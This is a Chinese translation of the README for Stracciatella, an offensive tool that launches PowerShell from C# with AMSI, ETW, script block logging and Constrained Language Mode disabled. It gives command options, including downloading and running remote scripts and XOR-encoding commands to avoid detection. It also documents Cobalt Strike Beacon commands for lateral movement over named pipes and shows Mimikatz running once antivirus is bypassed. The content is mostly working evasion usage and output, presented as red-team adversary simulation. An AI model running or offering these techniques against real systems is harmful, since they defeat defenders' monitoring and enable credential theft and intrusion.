从 C# 内部启动的 OpSec 安全 Powershell runspace(又名 SharpPick),在启动时禁用 AMSI、约束语言模式和脚本块日志记录
从C#内部运行的PowerShell runspace(又名SharpPick技术),已禁用AMSI、ETW和脚本块日志记录,为您提供便利。
如今,当PowerShell通过使用如下技术遭到严重检测时:
高级攻击者必须找到绕过这些措施的方法,以便提供复杂的对抗性模拟演练。为了协助这些努力,创建了以下项目。
此程序构建在针对特定技术的绕过方法之上,这些方法包含在:
而这些又基于以下研究:
SharpPick 的想法,即通过使用 Runspaces 从 C# 程序集内部启动 PowerShell 脚本,也并非新鲜事物,首次由 Lee Christensen(@tifkin_)在其作品中实现:
此外,源代码借用了 Lee 的 CustomPSHost 实现。
此项目继承了上述研究和伟大的安全社区,以提供一个接近于有效的 PowerShell 环境,在启动时禁用防御措施。
现在可以轻松编译为 .NET 4.0,而如果使用 .NET Framework 4.7.1+ 编译,则会包含附加功能,允许卸载构成 CLM 绕过工件的 DLL,并尝试在之后删除它们(说实话效果有限)。
使用 .NET 4.0 编译的 Stracciatella 效果最佳。
有几种选项可用:
PS D:\> Stracciatella -h
:: Stracciatella - 禁用 AMSI、ETW 和脚本块日志记录的 PowerShell runspace。
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
用法:stracciatella.exe [选项] [命令]
-s <路径>, --script <路径> - 包含要执行的 PowerShell 脚本的文件路径。如果未给出选项,将进入
伪 shell 循环。也可以是 HTTP(S) URL,用于下载并执行 PowerShell 脚本。
-v, --verbose - 打印详细信息
-n, --nocleanup - 不删除 CLM 禁用残留物(TEMP 中的 DLL 文件和 COM 注册表项)。
默认情况下将始终删除这些。
-C, --leaveclm - 不尝试禁用 CLM。更隐蔽。将避免留下未删除的 CLM 禁用工件。
-f, --force - 即使 PowerShell 防御未禁用,也继续执行。
默认情况下,失败时退出。
-c, --command - 执行指定的命令。您可以使用 -c 或在 stracciatella 参数后附加命令:cmd> straciatella ipconfig /all
如果同时给出了命令和脚本参数,则在运行脚本后执行命令。
-x <密钥>, --xor <密钥> - 将输入视为 XOR 编码,其中 <密钥> 是十进制的一个字节密钥
(十六进制前加 0x)
-p <名称>, --pipe <名称> - 从指定的命名管道读取 PowerShell 命令。命令前必须加上 4 个字节的
长度,以小端序编码(长度-值表示法)。
-t <毫秒>, --timeout <毫秒>
- 指定管道读取操作的超时时间(毫秒)。默认值:60 秒。0 - 无限。
-e, --cmdalsoencoded - 也将输入命令(通过 '--command' 指定)视为已编码。
在解码并运行输入脚本文件后,解码输入命令。
默认情况下,我们只解码输入文件,并将命令视为明文。
该程序接受命令和脚本文件路径作为输入。两者都是可选的,如果都没有给出,将启动伪 shell。 命令和脚本都可以进一步使用单字节 XOR 编码(将输出 Base64 编码),以获得更好的 OpSec 体验。
以下是几个用例示例:
PS D:\> Stracciatella.exe -v
:: Stracciatella - 禁用 AMSI、ETW 和脚本块日志记录的 PowerShell runspace。
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
[.] PowerShell 版本:5.1
[.] 语言模式:FullLanguage
[+] 无需禁用约束语言模式。已处于 FullLanguage。
[+] 脚本块日志记录已禁用。
[+] AMSI 已禁用。
[+] ETW 已禁用。
Stracciatella D:\> $PSVersionTable
名称 值
---- -----
PSVersion 5.1.18362.1
PSEdition Desktop
PSCompatibleVersions {1.0, 2.0, 3.0, 4.0...}
BuildVersion 10.0.18362.1
CLRVersion 4.0.30319.42000
WSManStackVersion 3.0
PSRemotingProtocolVersion 2.3
SerializationVersion 1.1.0.1
首先,为了准备编码后的语句,我们可以使用附带的 encoder.py 脚本,其用法如下:
PS D:\> python encoder.py -h
usage: encoder.py [options] <command|file>
positional arguments:
command 指定用于编码的命令或脚本文件路径
optional arguments:
-h, --help 显示此帮助信息并退出
-x KEY, --xor KEY 指定命令/文件的 XOR 编码密钥(一个字节)
-o PATH, --output PATH
(可选)输出文件。如果未给出,则将输出回显到 stdout
PS D:\> python encoder.py -x 0x31 "Write-Host \"It works like a charm!\" ; $ExecutionContext.SessionState.LanguageMode"
ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU
然后将 encoder.py 的输出作为 Stracciatella 的编码命令输入:
PS D:\> Stracciatella.exe -v -x 0x31 -c "ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU" .\Test2.ps1
:: Stracciatella - 禁用 AMSI、ETW 和脚本块日志记录的 PowerShell runspace。
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
[.] 将加载脚本文件:'.\Test2.ps1'
[+] AMSI 已禁用。
[+] ETW 已禁用。
[+] 脚本块日志记录已禁用。
[.] 语言模式:FullLanguage
PS> & '.\Test2.ps1'
PS> Write-Host "It works like a charm!" ; $ExecutionContext.SessionState.LanguageMode
[+] Yeeey, it really worked.
It works like a charm!
FullLanguage
其中:
Command 由以下命令构成:Base64Encode(XorEncode("Write-Host \"It works like a charm!\" ; $ExecutionContext.SessionState.LanguageMode", 0x31))Test2.ps1 - 包含:"ZkNYRVQceV5CRRETahpsEWhUVFRIHRFYRRFDVFBdXUgRRl5DWlRVHxM=" (Base64(XorEncode("Write-Host \"[+] Yeeey, it really worked.\"", 0x31)))Stracciatella 附带一个 Aggressor 脚本,加载后会在 Beacon 控制台中暴露 stracciatella 命令。用法与 powerpick 非常相似(通过 stracciatella-import 预先导入 PowerShell 脚本)。输入参数将使用随机密钥进行 XOR 处理,并通过随机命名的管道传递到 Stracciatella 的 runspace。
以下 Cobalt Strike 命令可用:
使用 Stracciatella 的一种策略可以是配置足够长的管道读取超时时间(1),然后在远程机器上启动它(2),从而在 Stracciatella 的帮助下通过命名管道实现横向移动。
与 powerpick 相比,优势在于 Stracciatella 不像 Powerpick 那样修补 AMSI.dll(AmsiScanBuffer 修补),从而可能产生更少的取证噪音,因为 EDR 会寻找内存中的补丁。此外,Stracciatella 最终将能够稳定地绕过 约束语言模式,而目前使用 powerpick 无法实现这一点:
beacon> stracciatella-import PowerView.ps1
[+] host called home, sent: 143784 bytes
beacon> stracciatella Get-Domain
[*] Tasked Beacon to run Stracciatella: Get-Domain
[+] host called home, sent: 264483 bytes
[+] received output:
Forest : contoso.local
DomainControllers : {dc.contoso.local}
Children : {us.eu.contoso.local}
DomainMode : Unknown
DomainModeLevel : 7
Parent : contoso.local
PdcRoleOwner : dc.eu.contoso.local
RidRoleOwner : dc.eu.contoso.local
InfrastructureRoleOwner : dc.eu.contoso.local
Name : eu.contoso.local
最后,Stracciatella 可以轻松地被其他不提供绕过 PowerShell 保护功能的工具/C2 使用。
每当 stracciatella 返回错误 2(ERROR_FILE_NOT_FOUND)时,是因为 Stracciatella 在内部等待数据写入其命名管道时超时。
beacon> stracciatella Resolve-IPAddress dc1.bank.corp
[*] Tasked Beacon to run Stracciatella: Resolve-IPAddress dc1.bank.corp
[+] [11/02 03:32:50] host called home, sent: 1007245 bytes
[+] [11/02 03:33:13] host called home, sent: 191805 bytes
[-] Could not connect to pipe (\\.\pipe\85f2acfe-2ca9-4364-af08-f1c654966c1a): 2.
但可以通过使用以下命令调整 Stracciatella 的超时参数来解决:
beacon> stracciatella-timeout 600000
beacon> stracciatella Resolve-IPAddress dc1.bank.corp
[*] Tasked Beacon to run Stracciatella: Resolve-IPAddress dc1.bank.corp
[+] [11/02 04:01:11] host called home, sent: 1007265 bytes
[+] [11/02 04:01:33] host called home, sent: 191805 bytes
[+] received output:
ComputerName IPAddress
------------ ---------
dc1.bank.corp 10.10.10.5
关联的 aggressor 脚本利用内部 Beacon 例程写入随机命名的管道,而 Stracciatella 的逻辑将在另一端监听该管道。接收端将在一段时间内等待入站数据(Stracciatella 选项中的 --timeout 参数,默认为 60 秒),如果没有数据,将超时并优雅地中止。否则,收到的命令将被解码并正常执行。
有时我们有一些 PowerShell 脚本,它们没有暴露任何函数,或者我们需要从一个 PowerShell 运行时中反射性地加载 .NET 模块。为了支持这种用例,可以使用 stracciatella-script <脚本路径> <命令> Beacon 命令。它会读取指定的 PowerShell 脚本文件,并将给定的 <命令>(以分号分隔)附加到该脚本中。
Stracciatella 的 Aggressor 脚本(CNA)会检测是否加载了 BOF.NET,如果是,则暴露一个命令:
bofnet_loadstracciatella
该命令执行 bofnet_load stracciatella.exe。此外,Stracciatella 将使用 bofnet_jobassembly 而不是 Cobalt 内置的 execute-assembly 运行。
该行为可以通过修改 stracciatella.cna 脚本中的全局变量来调整:
#
# 如果 Cobalt Strike 中加载了 BOF.NET,则优先使用 `bofnet_jobassembly` 命令而不是 `execute-assembly`。
# 当我们希望通过 BOF.NET 切换为内联/进程内运行而不是 fork & run 策略时,这很有用。
#
$FAVOR_BOFNET_INSTEAD_OF_EXECUTE_ASSEMBLY = "true";
通过使用反射,由 Matt Graeber 发现,但该程序的方法略有修改。我们不通过名称(如 "amsiInitFailed")引用符号,而是遍历所有可通过反射获取的程序集、方法、类型和字段来查找它们。然后通过操作 Management.Automation 程序集中的非公共和静态变量来禁用 AMSI。脚本块日志记录也是如此,其部分思路基于 Ryan Cobb(@cobbr)的研究。
实际上,Stracciatella 使用了与我上面提到的 Disable-*.ps1 文件中相同的实现。
此外,我们不尝试修补 amsi.dll,这有点太嘈杂,可能在不久的将来会被 EDR/HIPS/AV 密切监控。与反射性变量篡改相比,破坏系统库的完整性显然站不住脚。
Invoke-Mimikatz 好吗?当然,请看:
PS D:\> "amsiInitFailed"
At line:1 char:1
+ "amsiInitFailed"
+ ~~~~~~~~~~~~~~~~
此脚本包含恶意内容,已被您的防病毒软件阻止。
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
PS D:\> . .\Invoke-Mimikatz.ps1
At line:1 char:1
+ . .\Invoke-Mimikatz.ps1
+ ~~~~~~~~~~~~~~~~~~~~~~~
此脚本包含恶意内容,已被您的防病毒软件阻止。
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
PS D:\> .\Stracciatella.exe -v
:: Stracciatella - 禁用 AMSI 和脚本块日志记录的 PowerShell runspace。
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
[-] 似乎没有给出脚本路径。
[+] AMSI 已禁用。
[+] ETW 已禁用。
[+] 脚本块日志记录已禁用。
[.] 语言模式:FullLanguage
Stracciatella D:\> . .\Invoke-Mimikatz.ps1
Stracciatella D:\> Invoke-Mimikatz -Command "coffee exit"
.#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
.## ^ ##. "A La Vie, A L'Amour"
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( [email protected] )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 20 modules * * */
mimikatz(powershell) # coffee
( (
) )
.______.
| |]
\ /
`----'
mimikatz(powershell) # exit
Bye!
目前,Stracciatella 为 PowerShell 命令提供 runspace 的方式并非最隐蔽的。我们基本上创建了一个 PowerShell runspace,它会加载相应的 .NET 程序集。这可能被视为 Stracciatella 的进程有些可疑的标志。
此项目和其他项目是无数不眠之夜和大量辛勤工作的成果。如果您喜欢我所做的,并感谢我始终回馈社区, 请考虑请我喝杯咖啡 (或者更好,来杯啤酒) 只是为了说声谢谢!💪
Mariusz Banach / mgeeky, '20-22
<mb [at] binary-offensive.com>
(https://github.com/mgeeky)
| Cobalt Strike 命令 | 描述 |
|---|
stracciatella [-v] <命令> | 执行给定的命令 |
stracciatella-remote [-v] <机器> <管道名> <命令> | 在远程机器的指定管道上执行给定的命令 |
stracciatella-import <脚本路径> | 导入一个 PowerShell 脚本以供 Stracciatella 使用 |
stracciatella-script <脚本路径> <命令> | 使用指定的 PowerShell (ps1) 脚本预加载 PowerShell 命令(stracciatella-import 和 stracciatella 的单次组合操作) |
stracciatella-clear | 清除该 Beacon 上已导入的脚本 |
stracciatella-timeout <毫秒> | 调整默认的命名管道读取超时 |
bofnet_loadstracciatella | 将 Stracciatella.exe 加载到 BOF.NET 中(如果使用) |
bofnet_stracciatella <命令> | (非阻塞)通过 BOF.NET 的 bofnet_jobassembly 在安全的 Stracciatella runspace 中运行 PowerShell 命令 |
bofnet_executestracciatella <命令> | (阻塞)通过 BOF.NET 的 bofnet_executeassembly 在安全的 Stracciatella runspace 中运行 PowerShell 命令 |
bofnet_stracciatella_script <脚本路径> <命令> | 预加载指定的 PowerShell 脚本并使用参数运行给定命令(通过 BOF.NET) |